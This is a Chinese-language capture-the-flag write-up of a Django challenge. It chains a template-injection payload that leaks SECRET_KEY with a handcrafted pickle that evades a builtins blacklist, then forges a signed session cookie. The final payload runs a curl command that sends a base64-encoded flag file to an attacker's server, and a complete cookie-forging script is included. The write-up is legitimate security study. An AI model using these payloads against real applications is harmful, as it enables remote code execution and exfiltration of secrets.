0x00前言
Code Breaking中的pickle那一道题因为各种原因一直没有钻研,然后今天P神终于放出了writeup,不得不膜一下,因此来复现并学习
0x01格式化漏洞
首先首页就是一个登陆页面,输入任何字符都可以登录,因此各种测试,发现存在格式化字符漏洞。使用
{{user.password}}登陆则会显示出一个加密的密码
同时也有鸡肋的self-xss的存在
首先我们看看settings.py下的文件发现SECRET_KEY
是保存在文件中的
并且session_engine位置在django.contrib.sessions.backends.signed_cookies
中,因此我们需要通过格式化字符串漏洞来导出SECRET_KEY并且伪造cookie。
首先使用pycharm在template中login页面上面下一个断点
点击debug按钮,在变量的位置看到大量的变量名
再来看看settings中template的那一块
同时context_processors负责向模板中注入一些上下文,requests、user和perms都是默认存在的,但是settings是不存在的,因此无法在模板中读取settings的信息,又因为Django引擎有一定的限制,因此我们通过P神所说的方法 {{user.user_permissions.model._meta.app_config.module.admin.settings.SECRET_KEY}}
是不能读取SECRET_KEY的。
继续搜索可用的变量在request.user.groups.source_field.opts.app_config.module.admin.settings.SECRET_KEY
这个地址下面发现了SECRET_KEY的变量
因此构造字符串{{request.user.groups.source_field.opts.app_config.module.admin.settings.SECRET_KEY}}
登录之后成功拿到了SECRET_KEY
0x02 序列化漏洞
在core文件夹还发现了serializer.py这个文件,其源码如下
import pickle
import io
import builtins
__all__ = ('PickleSerializer', )
class RestrictedUnpickler(pickle.Unpickler):
blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'}
def find_class(self, module, name):
# Only allow safe classes from builtins.
if module == "builtins" and name not in self.blacklist:
return getattr(builtins, name)
# Forbid everything else.
raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
(module, name))
class PickleSerializer():
def dumps(self, obj):
return pickle.dumps(obj)
def loads(self, data):
try:
if isinstance(data, str):
raise TypeError("Can't load pickle from unicode string")
file = io.BytesIO(data)
return RestrictedUnpickler(file,
encoding='ASCII', errors='strict').load()
except Exception as e:
return {}
有pickle的地方就有序列化漏洞,原来Django的session是使用json进行序列化的,这里使用了pickle,并且使用了黑名单机制。因此这里就很明显了,我们需要使用SECRET_KEY来构造一个pickle序列化来执行命令执行。但这里限定了只能使用builtins
方法,禁止了eval,exec等一些方法,但是没有禁止getattr这个方法,因此我们可以构造builtins.getattr('builtins', 'eval')
的方法来构造eval函数,但是直接对类进行构造无法触发反序列化的,在这里p神给出了一种方案自己来写pickle字符串。我们先看一段普通的序列化的方式,写一个pickle的序列化代码
from datetime import date
import pickle
import os
class test(object):
def __reduce__(self):
return (os.system,('ifconfig',))
a=test()
with open('poc.pickle','wb') as f:
pickle.dump(a,f, protocol = 0)
f.close()
运行之后得到序列化的字符串b'cnt\nsystem\np0\n(Vifconfig\np1\ntp2\nRp3\n.'
,然后使用如下命令
python -m pickletools poc.pickle
得到如下结果
分析一下,我们从pickle的源码中看到OPCODE
一些符号的意思是
-
(
:将特殊对象推入栈中,表示开始的时间 -
.
:序列化结束的标志 -
c
:将find_class类压入栈中,包含两个参数 -
V
、S
:向栈中压入一个(unicode)字符串 -
t
: 从栈顶开始,找到最上面的一个(,并将(到t中间的内容全部弹出,组成一个元组,再把这个元组压入栈中 -
}
: 弹出一个空的字典 -
p
:将栈顶的元素存储到memo中,p后面跟一个数字,就是表示这个元素在memo中的索引 -
R
:从栈顶弹出一个可执行对象和一个元组,元组作为函数的参数列表执行,并将返回值压入栈上 -
1
: 通过topmost markobject丢弃堆栈顶部 -
g
: 从堆栈备忘录中导出项目;索引是字符串arg
因此我们可以将我们的序列化字符串解释为可以简化为cnt # 传入一个参数,建立一个元组 system # 申明system方法 p0 # 将之压入一个栈的对象 (Vifconfig # 向特殊字符ifconfig推入栈中 p1 # 将这个元组储存到第memo的第一个位置 tp2 # 将ifconfig这个元组全部弹出 Rp3 # 弹出一个可执行对象并且压入memo的第3个位置 . # 结束
因此,我们可以自己编写pickle序列化代码cnt system (Vifconfig tR.
cbuiltins # 将builtins设置为可执行对象 getattr # 获取builtins的getattr方法 (cbuiltins # 将builtins的对象压入栈中,并且创造find_class类 dict # 提取字典 S'get' # 压入一个get字符串进入栈中 tR(cbuiltins # 将以上(之内的所有函数函数弹出并且执行 ,重新声明builtins方法 globals # 提取globals类 (tRS'builtins' # 提取并执行,压入builtins字符串 tRp1 # 提取攻压入memo区域内 . # 结束
成功构造,现在我们可以构造eval函数了,使用g1获取刚才的builtins,从而获得eval方法
...
cbuiltins
getattr
(g1
S'eval'
tR
最终的payload为
cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
(tRS'builtins'
tRp1
cbuiltins
getattr
(g1
S'eval'
tR(S'__import__("os").system("curl vps/?$(cat /flag|base64)")'
tR.
构造session的脚本
from django.core import signing
import pickle
import builtins,io
import base64
import datetime
import json
import re
import time
import zlib
data = b'''cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
(tRS'builtins'
tRp1
cbuiltins
getattr
(g1
S'eval'
tR(S'__import__("os").system("curl vps/?$(cat /flag_djang0_p1ckle | base64)")'
tR
.'''
def b64_encode(s):
return base64.urlsafe_b64encode(s).strip(b'=')
def pickle_exp(SECRET_KEY):
global data
is_compressed = False
compress = False
if compress:
# Avoid zlib dependency unless compress is being used
compressed = zlib.compress(data)
if len(compressed) < (len(data) - 1):
data = compressed
is_compressed = True
base64d = b64_encode(data).decode()
if is_compressed:
base64d = '.' + base64d
SECRET_KEY = SECRET_KEY
# 根据SECRET_KEY进行Cookie的制造
session = signing.TimestampSigner(key = SECRET_KEY,salt='django.contrib.sessions.backends.signed_cookies').sign(base64d)
print(session)
if __name__ == '__main__':
SECRET_KEY = 'zs%o-mvuihtk6g4pgd+xpa&1hh9%&ulnf!@9qx8_y5kk+7^cvm'
pickle_exp(SECRET_KEY)
这里注意在执行序列化的时候要在第一次账号输入进去之后再更改两次序列化的值,否则序列化不会执行
最后得到flag
flag{d5c2d79de511721699d1e20ec3e5a355}
最后,膜p神~